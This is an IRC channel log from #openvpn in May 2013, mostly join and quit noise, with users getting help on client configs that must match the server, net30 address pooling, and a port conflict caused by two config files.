08:47 -!- david___1 [~david@192.40.56.116] has quit [Ping timeout: 255 seconds]
08:47 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Excess Flood]
08:47 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has quit [Ping timeout: 260 seconds]
08:47 -!- Poster|w [poster@gateway/shell/bshellz.net/x-uuvmgjuvajqdtrui] has quit [Ping timeout: 260 seconds]
08:47 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 260 seconds]
08:47 -!- JSharpe_ [~JSharpe@176.253.10.142] has quit [Ping timeout: 260 seconds]
08:47 -!- lbft [~lbft@199.195.249.177] has quit [Ping timeout: 255 seconds]
08:47 -!- JackWinter1 [~jack@vodsl-10021.vo.lu] has quit [Ping timeout: 260 seconds]
08:47 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 255 seconds]
08:47 -!- Varazir [~mircwars@c-94-255-133-18.cust.bredband2.com] has joined #openvpn
08:49 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
08:49 -!- lbft [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has joined #openvpn
08:50 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
08:50 -!- master_o1_master [~master_of@p4FF243DA.dip0.t-ipconnect.de] has joined #openvpn
08:50 -!- Netsplit *.net <-> *.split quits: kubbing_, zamba, JackWinter, Varazir, MrPockets
08:50 -!- david__ [~david@192.40.56.116] has joined #openvpn
08:51 -!- Poster|w [poster@gateway/shell/bshellz.net/session] has joined #openvpn
08:52 -!- hjohnson [~hans@d99-199-161-6.bchsia.telus.net] has joined #openvpn
08:52 -!- mjixx_ [~markus@80.67.14.31] has joined #openvpn
08:52 -!- TheWarden_ [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has left #openvpn []
08:54 -!- 15SABG3HU [riddle@us.yunix.net] has joined #openvpn
08:55 -!- Netsplit over, joins: JackWinter, Varazir, kubbing_, MrPockets, zamba
08:55 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
08:56 -!- ronnocol_ [~lance@mail.ronnoco.net] has joined #openvpn
08:59 -!- Netsplit *.net <-> *.split quits: mjixx, Aketzu_, Martin`
08:59 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
08:59 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
09:03 -!- TommehM [carrot@unaffiliated/tommehm] has quit [Excess Flood]
09:03 -!- JSharpe [~JSharpe@176.253.10.142] has quit [Excess Flood]
09:03 -!- tyteen4a- [tyteen4a03@us2.freeBNC.net] has quit [Excess Flood]
09:03 -!- xBytez [~xbytez@unaffiliated/xbytez] has quit [Excess Flood]
09:03 -!- JSharpe [~JSharpe@176.253.10.142] has joined #openvpn
09:04 -!- pnielsen_ [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit [Excess Flood]
09:05 -!- pcdummy_ [~quassel@mx1.page4me.ch] has joined #openvpn
09:05 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Write error: Broken pipe]
09:05 -!- ronnocol [~lance@mail.ronnoco.net] has quit [Write error: Broken pipe]
09:05 -!- david___ [~david@192.40.56.116] has quit [Write error: Broken pipe]
09:05 -!- riddle [~decadance@76.72.170.57] has quit [Write error: Connection reset by peer]
09:05 -!- master_of_master [~master_of@p4FF243DA.dip0.t-ipconnect.de] has quit [Write error: Broken pipe]
09:05 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Excess Flood]
09:05 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has quit [Remote host closed the connection]
09:05 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
09:05 -!- tyteen4a03 [tyteen4a03@us2.freeBNC.net] has joined #openvpn
09:05 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
09:05 -!- xBytez [~xbytez@unaffiliated/xbytez] has joined #openvpn
09:06 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
09:06 -!- mode/#openvpn [+o plaisthos] by ChanServ
09:06 -!- unicorn [~p3rror@41.249.253.52] has quit [Quit: Leaving]
09:06 -!- Poster|w [poster@gateway/shell/bshellz.net/session] has quit [Changing host]
09:06 -!- Poster|w [poster@gateway/shell/bshellz.net/x-qpuuzimnvwvhyocx] has joined #openvpn
09:07 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
09:07 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
09:07 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
09:08 -!- AndrewX192 [~andrew@131.191.116.183] has joined #openvpn
09:08 -!- AndrewX192 [~andrew@131.191.116.183] has quit [Changing host]
09:08 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has joined #openvpn
09:08 -!- Zenum [~znc@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has joined #openvpn
09:09 -!- Netsplit over, joins: Martin`
09:09 -!- Zenum [~znc@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has quit [Changing host]
09:09 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
09:09 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
09:10 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
09:16 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
--- Log closed Mon May 13 09:24:29 2013
--- Log opened Mon May 13 09:24:44 2013
09:24 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
09:24 -!- Irssi: #openvpn: Total of 188 nicks [8 ops, 0 halfops, 1 voices, 179 normal]
09:24 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
09:25 -!- Irssi: Join to #openvpn was synced in 34 secs
09:26 -!- ServerTech|ALT [~ServerTec@server2.hosthighway.co] has joined #openvpn
09:26 -!- cherwin_ [~cherwin@robin.teqnix.nl] has joined #openvpn
09:26 -!- rkantos_ [robin@4e.fi] has joined #openvpn
09:27 -!- ServerTechLaptop [~ServerTec@server2.hosthighway.co] has quit [Ping timeout: 256 seconds]
09:27 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Read error: Connection reset by peer]
09:27 -!- cherwin [~cherwin@robin.teqnix.nl] has quit [Ping timeout: 256 seconds]
09:27 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 256 seconds]
09:27 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 256 seconds]
09:27 -!- stephan48 [stephan@opennic/stephan] has quit [Ping timeout: 256 seconds]
09:27 -!- You're now known as ecrist
09:27 -!- mode/#openvpn [+o ecrist] by ChanServ
09:28 -!- n2deep_ [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 256 seconds]
09:28 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
09:29 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
09:29 -!- clever [~clever@47.54.82.69] has quit [Ping timeout: 256 seconds]
09:29 -!- clever_ [~clever@47.54.82.69] has joined #openvpn
09:29 -!- majuscule [~dylan@dylansserver.com] has quit [Ping timeout: 256 seconds]
09:31 -!- deever_ [~deever@78.46.68.172] has joined #openvpn
09:31 -!- majuscule [~dylan@dylansserver.com] has joined #openvpn
09:32 -!- tarrant2 [~tarrant@mail.voidbyte.net] has joined #openvpn
09:33 -!- stephan48 [stephan@nemesis.stejau.de] has joined #openvpn
09:33 -!- stephan48 [stephan@nemesis.stejau.de] has quit [Changing host]
09:33 -!- stephan48 [stephan@opennic/stephan] has joined #openvpn
09:34 -!- visionnl [~anonymous@tuig.nikhef.nl] has joined #openvpn
09:34 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
09:35 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
09:35 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
09:36 -!- deever [~deever@78.46.68.172] has quit [Ping timeout: 256 seconds]
09:36 -!- tarrant1 [~tarrant@mail.voidbyte.net] has quit [Ping timeout: 256 seconds]
09:36 -!- trumee [~parul@185.11.39.145] has quit [Ping timeout: 256 seconds]
09:36 -!- visionnl_ [~anonymous@tuig.nikhef.nl] has quit [Ping timeout: 256 seconds]
09:37 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
09:38 -!- trumee [~parul@185.11.39.145] has joined #openvpn
09:48 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:49 -!- pulz_ [geir@winning.no] has quit [Ping timeout: 264 seconds]
09:50 -!- pulz [geir@winning.no] has joined #openvpn
09:51 -!- raidz_away is now known as raidz
09:51 -!- oh7lzb [hessu@he.fi] has quit [Ping timeout: 252 seconds]
09:55 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has quit [Ping timeout: 252 seconds]
09:57 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
09:59 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 246 seconds]
10:06 -!- Carrot [carrot@unaffiliated/tommehm] has joined #openvpn
10:08 -!- Carrot is now known as CookieNinja
10:24 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
10:37 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:01 -!- JesseCW [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
11:01 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:01 -!- Guest53439 [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has quit [Ping timeout: 276 seconds]
11:04 -!- lpapp_ [~lpapp@kde/lpapp] has joined #openvpn
11:04 < lpapp_> hi, is there a template configuration file I can use for my client's VPN?
11:04 < lpapp_> admittedly, I tried to adopt an existing, but it did not get through ...
11:11 < pekster> !howto
11:11 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
11:11 < lpapp_> I tried to replace the remote line in an existing and working VPN configuration, but it just did not work ...
11:11 < lpapp_> shouldn't that all be what one would need to do anyway?
11:12 < pekster> What are you trying to do? Just build your configs according to the howto if you want a working VPN
11:12 -!- Nu_learMeltdown [rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has joined #openvpn
11:12 -!- Nu_learMeltdown [rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has quit [Changing host]
11:12 -!- Nu_learMeltdown [rep@unaffiliated/antiliberal] has joined #openvpn
11:12 < lpapp_> I wish it worked ...
11:14 <@ecrist> lpapp_: see the topic
11:14 <@ecrist> !goal
11:14 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
11:14 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
11:14 < pekster> Oh, do you not control the server end? You can't just "make up" a config -- options like device type and crypto options *must* match between peers
11:15 < lpapp_> of course I do not control the server, otherwise I would not need VPN, just ssh ...
11:15 < pekster> !both
11:15 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
11:15 < pekster> If you aren't the one who set up the OpenVPN server, you should go find and talk to the person who did
11:16 < lpapp_> that is super unlikely that a Windows server admin will help setting up a linux client.
11:16 < lpapp_> much more than very unlikely to be honest.
11:16 < pekster> You just need the config...
11:16 < pekster> (maybe rip out any Windows-specific options if they're present)
11:16 < lpapp_> which is exactly what I am asking here.
11:16 < lpapp_> how to set up a config.
11:17 < pekster> You can't just make one up without knowing how the *server* was configured. I said as much earlier
11:17 < lpapp_> well I got the password, username, and address.
11:18 < pekster> There are options that must match between both ends. Do you know the cipher used? The cryptographic hash used? The allowed list of TLS suites for handshakes? Do you know if you need a --tls-auth file?
11:18 < pekster> (and there are many other options that must match.)
11:20 < lpapp_> I am not sure that holds true.
11:20 < lpapp_> in principle, my colleague used a VPN GUI, like Cisco, and entering those three parameters allowed him to just work.
11:20 < pekster> Yes it does. I'm work extensively with openvpn and am familiar with its source code
11:20 < pekster> OpenVPN is not Cisco VPN
11:20 < lpapp_> but I do not like GUI, so I would like to do it from command line.
11:21 < pekster> Please stop asking this question. You cannot get what you want. You need a CA too; what did you plan to do, "invent" the CA cert too?
11:21 < pekster> !provider
11:21 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
11:21 < pekster> If your employer provides your VPN, go find your sysadmin and get the proper config/CA cert
11:21 < lpapp_> no, it is not my employer as I wrote in the beginning.
11:22 < pekster> Or whoever
11:23 < pekster> It. Won't. Work. You *CANNOT* create a working client config without, at a minimum, matching the critical options between clients and posessing the CA certificate (which is used to verify the cryptographic authenticity of the server.)
11:23 < pekster> Dunno how  more explicit than that I can gt
11:23 < pekster> get*
11:23 < lpapp_> why does it work with Cisco VPN then?
11:23 < pekster> It's a completely different protocol. It's like asking why you can't send email through an FTP server.
11:24 < lpapp_> so if the server uses Cisco VPN, I cannot use openvpn client?
11:24 < pekster> Right.
11:24 < lpapp_> sigh
11:24 < pekster> OpenVPN uses the OpenVPN protocol
11:25 < lpapp_> so much for interoperability ....
11:26 < pekster> You've clearly mis-understood the purpose of OpenVPN
11:27 < lpapp_> anyway, the server owner has to give me a clear instrunction set then.
11:28 < lpapp_> I do not understand why he has not done that in the first place?
11:30 <@ecrist> lpapp_: OpenVPN is it's own protocol, just like Cisco uses it's own protocol
11:30 <@ecrist> there ARE cisco VPN client packages out there - but you need to obtain that from your server administrator
11:30 < lpapp_> right
11:31 < lpapp_> I do not like when the server guys get us blocked by not providing enough information.
11:32 -!- brute11k1 [~brute@89.249.235.79] has joined #openvpn
11:33 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 248 seconds]
11:34 -!- gffa [~unknown@unaffiliated/gffa] has quit [Read error: Connection reset by peer]
11:35 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:35 -!- brute11k [~brute@89.249.235.79] has quit [Ping timeout: 252 seconds]
11:36 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
11:39 -!- lpapp_ [~lpapp@kde/lpapp] has quit [Ping timeout: 248 seconds]
11:47 -!- Varazir_ [~mircwars@c-94-255-133-18.cust.bredband2.com] has joined #openvpn
11:48 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Read error: Operation timed out]
11:48 -!- Varazir [~mircwars@c-94-255-133-18.cust.bredband2.com] has quit [Write error: Connection reset by peer]
11:48 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has quit [Excess Flood]
11:49 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
11:49 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
11:54 -!- nutron|wirk [~nutron@24.67.96.21] has quit [Quit: I must go eat my cheese!]
11:54 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
11:59 -!- sysdoc_ [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
12:00 -!- sysdoc_ [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Client Quit]
12:00 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
--- Log closed Mon May 13 12:10:52 2013
--- Log opened Mon May 13 12:11:08 2013
12:11 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
12:11 -!- Irssi: #openvpn: Total of 190 nicks [8 ops, 0 halfops, 1 voices, 181 normal]
12:11 -!- Irssi: Join to #openvpn was synced in 35 secs
12:12 -!- pcdummy [~quassel@mx1.page4me.ch] has joined #openvpn
12:12 -!- pcdummy [~quassel@mx1.page4me.ch] has quit [Changing host]
12:12 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
12:13 -!- stephanj [stephan@nemesis.stejau.de] has joined #openvpn
12:13 -!- stephanj [stephan@nemesis.stejau.de] has quit [Changing host]
12:13 -!- stephanj [stephan@opennic/stephan] has joined #openvpn
12:14 -!- master_of_master [~master_of@p4FF243DA.dip0.t-ipconnect.de] has joined #openvpn
12:15 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
12:16 -!- emcepe [~mcp@wolk-project.de] has joined #openvpn
12:16 -!- brute11k1 [~brute@89.249.235.79] has quit [Ping timeout: 246 seconds]
12:17 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
12:17 -!- tyteen4a- [tyteen4a03@us2.freeBNC.net] has joined #openvpn
12:18 -!- Netsplit *.net <-> *.split quits: mcp, VunKruz, mitz, master_o1_master, pcdummy_, @ecrist, stephan48, phantomcircuit_, speed_racer84, tyteen4a03
12:24 -!- Netsplit over, joins: mitz
12:25 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:26 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
12:38 -!- You're now known as ecrist
12:40 -!- Netsplit *.net <-> *.split quits: Martin`, Zenum
12:41 -!- Netsplit *.net <-> *.split quits: djjunde, JesseCW, rkantos_, hjohnson, pcdummy, zeroXten, lbft, qmr_, david__, Poster|w,  (+6 more, use /NETSPLIT to show all of them)
12:41 -!- Netsplit *.net <-> *.split quits: _mnathani_, nastjuid, mjixx_
12:41 -!- Netsplit *.net <-> *.split quits: Tera_, WOOOP_, michaelhart, Dropje
12:42 -!- Netsplit *.net <-> *.split quits: Denial, jave, EugeneKay, @dazo, kantlivelong, gory, master_of_master, MikeH, Champi, jivee,  (+24 more, use /NETSPLIT to show all of them)
12:42 -!- Netsplit *.net <-> *.split quits: matsh, abyss, thumbs, feth, krphop, HectorBarbossa, Devastator, dvl, jtrucks, cyberspace-,  (+3 more, use /NETSPLIT to show all of them)
12:42 -!- Netsplit *.net <-> *.split quits: +oc80z, druid, RealRancor, @vpnHelper, joshie, meepmeep, zu, EmLeX, zyphex, Airwave,  (+11 more, use /NETSPLIT to show all of them)
12:42 -!- Netsplit *.net <-> *.split quits: soapee01_, saneki, n2deep, awc737_away, i7c_, troyt, mrrothhcloud___, lirime, Cr4zi3, @raidz,  (+18 more, use /NETSPLIT to show all of them)
12:43 -!- Netsplit *.net <-> *.split quits: Rallias, thalweg, lickalott, ele_, @mattock, brad, zarrsh_, kloeri, erry, Sarah,  (+17 more, use /NETSPLIT to show all of them)
12:43 -!- Netsplit *.net <-> *.split quits: GabrieleV, Thermi_, kevinsky, JPeterson, [fred], BtbN, ServerTech|ALT, TypoNe, i7c, tyteen4a-,  (+10 more, use /NETSPLIT to show all of them)
12:43 -!- Netsplit *.net <-> *.split quits: phantomcircuit, JackWinter, swiftkey, sitaktif1, sauce, 15SABG3HU, deever_, visionnl, CEnnis91, majuscule,  (+6 more, use /NETSPLIT to show all of them)
12:57 < ecrist> raar
12:57 -!- Irssi: #openvpn: Total of 5 nicks [0 ops, 0 halfops, 0 voices, 5 normal]
--- Log closed Mon May 13 12:58:08 2013
--- Log opened Mon May 13 12:58:25 2013
12:58 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
12:58 -!- Irssi: #openvpn: Total of 186 nicks [7 ops, 0 halfops, 1 voices, 178 normal]
12:58 -!- mode/#openvpn [+o ecrist] by ChanServ
12:58 <@ecrist> raar
12:58 -!- zamba [marius@flage.org] has joined #openvpn
12:58 -!- clever_ [~clever@47.54.82.69] has joined #openvpn
12:58 -!- trumee [~parul@185.11.39.145] has joined #openvpn
12:58 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
12:59 -!- Irssi: Join to #openvpn was synced in 43 secs
12:59 -!- Thermi_ [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Excess Flood]
12:59 < pekster> Netsplits all around!
12:59 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
13:00 -!- phantomcircuit_ is now known as phantomcircuit
13:01 < EugeneKay> bzip2 is much better
13:03 -!- cherwin_ [~cherwin@robin.teqnix.nl] has quit [Ping timeout: 245 seconds]
13:04 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:10 -!- cherwin [~cherwin@robin.teqnix.nl] has joined #openvpn
13:11 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
13:15 -!- ChloeD [~chloe@mare.tigres-rouges.net] has joined #openvpn
13:15 < ChloeD> hi
13:15 < ChloeD> I'm using a ifconfig-pool-persist on an OpenVPN setup and the IPs stored in openvpn-ifconfig-pool are always wrong.
13:16 < ChloeD> I have noted they are "offset by two". like this: ovpn-terminos,10.13.0.24
13:16 < ChloeD>  ip ad ls tun0 gives inet 10.13.0.26 peer 10.13.0.25/32 scope global tun0
13:16 < ChloeD> is that an expected behaviour ?
13:17 < ChloeD> (salut Champi)
13:18 < EugeneKay> !/30
13:18 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
13:18 < EugeneKay> They're correct; you're counting the wrong thing.
13:18 < EugeneKay> !ipp
13:18 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
13:20 -!- Netsplit *.net <-> *.split quits: trumee, nutron, zamba, clever_
13:20 < ChloeD> ty EugeneKay
13:21 -!- kubbing_ [~kubbing@ip-78-102-124-2.net.upcbroadband.cz] has joined #openvpn
13:22 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 258 seconds]
13:24 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
13:26 < ChloeD> knowing that, I fixed my tinydns zone generation script. thanks a lot again.
13:27 < pekster> You might consider using subnet topology instead; net30 hasn't been necessary since the 2.0.x days. Windows >=2.1 can use subnet fine
13:31 < ChloeD> yes, makes sense. I'll include the two options in my script.
13:33 < pekster> You might be better off using a --client-connect script to do dynamic DNS instead of an ipp file
13:33 < EugeneKay> Definitely better. Or using static addressing
13:33 < pekster> Also note that it would be wise to clear the ipp file when changing topologies since it'll use the first IP in the /30, not the client IP
13:34 < EugeneKay> Less moving parts that way
13:40 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
13:49 -!- mback2k is now known as mback2k_
13:49 -!- brute11k1 [~brute@89.249.235.79] has joined #openvpn
13:50 -!- brute11k [~brute@89.249.235.79] has quit [Ping timeout: 264 seconds]
13:54 -!- dazo is now known as dazo_afk
13:55 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
14:03 -!- p3rror [~p3rror@41.248.108.91] has joined #openvpn
14:03 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
14:08 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
14:09 -!- kubbing_ [~kubbing@ip-78-102-124-2.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
14:09 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
14:09 -!- pulz_ [geir@winning.no] has joined #openvpn
14:10 -!- stephan48 [stephan@nemesis.stejau.de] has joined #openvpn
14:10 -!- stephan48 [stephan@nemesis.stejau.de] has quit [Changing host]
14:10 -!- stephan48 [stephan@opennic/stephan] has joined #openvpn
14:10 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
14:15 -!- phantomcircuit_ [~phantomci@covertinferno.org] has joined #openvpn
14:15 -!- brute11k1 [~brute@89.249.235.79] has quit [Ping timeout: 268 seconds]
14:15 -!- majuscule [~dylan@dylansserver.com] has quit [Ping timeout: 268 seconds]
14:15 -!- pulz [geir@winning.no] has quit [Ping timeout: 268 seconds]
14:15 -!- stephanj [stephan@opennic/stephan] has quit [Remote host closed the connection]
14:15 -!- phantomcircuit [~phantomci@covertinferno.org] has quit [Ping timeout: 268 seconds]
14:16 -!- phantomcircuit_ [~phantomci@covertinferno.org] has quit [Excess Flood]
14:17 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Remote host closed the connection]
14:17 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
14:18 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
14:19 -!- majuscule [~dylan@dylansserver.com] has joined #openvpn
14:21 -!- emcepe is now known as mcp
14:33 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 308 seconds]
14:33 -!- mcp [~mcp@wolk-project.de] has quit [Excess Flood]
14:35 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
14:47 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:02 -!- brute11k1 [~brute@89.249.235.79] has joined #openvpn
15:04 -!- brute11k [~brute@89.249.235.79] has quit [Ping timeout: 256 seconds]
15:06 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Ping timeout: 264 seconds]
15:28 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
15:28 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:28 -!- trumee [~parul@185.11.39.145] has joined #openvpn
15:28 -!- clever_ [~clever@47.54.82.69] has joined #openvpn
15:28 -!- zamba [marius@flage.org] has joined #openvpn
15:31 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:36 -!- brute11k1 [~brute@89.249.235.79] has quit [Ping timeout: 304 seconds]
15:39 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
15:40 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
15:43 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:44 -!- brute11k [~brute@89.249.235.79] has quit [Ping timeout: 276 seconds]
15:44 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
15:52 -!- brute11k1 [~brute@89.249.235.79] has joined #openvpn
15:54 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:54 -!- brute11k [~brute@89.249.235.79] has quit [Ping timeout: 276 seconds]
16:07 -!- p3rror [~p3rror@41.248.108.91] has quit [Ping timeout: 268 seconds]
16:12 -!- Cpt-Oblivious [~cpt-obliv@77.250.57.96] has quit [Read error: Connection reset by peer]
16:27 -!- brute11k1 [~brute@89.249.235.79] has quit [Ping timeout: 248 seconds]
16:27 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
16:39 -!- dokma [~dokma@93-138-22-27.adsl.net.t-com.hr] has joined #openvpn
16:39 < dokma> I get failed from /etc/init.d/openvpn start after following: http://wiki.debian.org/OpenVPN
16:39 <@vpnHelper> Title: OpenVPN - Debian Wiki (at wiki.debian.org)
16:40 < dokma> I probably made some typo somewhere but I can't see anything in the logs
16:41 < dokma> what is a good way to see where I messed it up?
16:41 < pppingme> whats in the log?
16:42 < dokma> this: http://pastebin.com/Q7NuAV9A
16:42 < pppingme> thats just the current connections list, whats in the actual logs?
16:42 < dokma> I don't see any other logs
16:42 < dokma> nothing in /var/log
16:42 < pppingme> syslog
16:42 < dokma> ahhhh
16:45 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 245 seconds]
16:47 -!- p3rror [~p3rror@41.248.108.91] has joined #openvpn
16:52 < dokma> pppingme, this is what gets me: TCP/UDP: Socket bind failed on local address [undef]: Address already in use
16:53 -!- brute11k [~brute@89.249.235.79] has quit [Read error: Operation timed out]
16:53 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
16:53 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has joined #openvpn
16:56 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
16:56 < pppingme> dokma what port you using?  You sure its not already running??  Do you have more than one .conf file in /etc/openvpn???
16:57 < dokma> I checked nothing is listening on 1194
16:57 < dokma> 1194 is configured in server and client
16:57 < dokma> on client I have client.conf and tun0.conf
16:58 < dokma> on server: server.conf tun0.conf
16:58 < pppingme> why do you have two conf files?  one of them is probably starting, and the error is on the other..
16:59 < dokma> I've followed this: http://wiki.debian.org/OpenVPN
16:59 <@vpnHelper> Title: OpenVPN - Debian Wiki (at wiki.debian.org)
16:59 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has quit [Quit: michaelhart]
17:00 < pppingme> those are two different examples, not one..
17:00 -!- brute11k [~brute@89.249.235.79] has quit [Ping timeout: 248 seconds]
17:00 < dokma> I just got that
17:00 < pppingme> every instance of openvpn needs to run on its own port
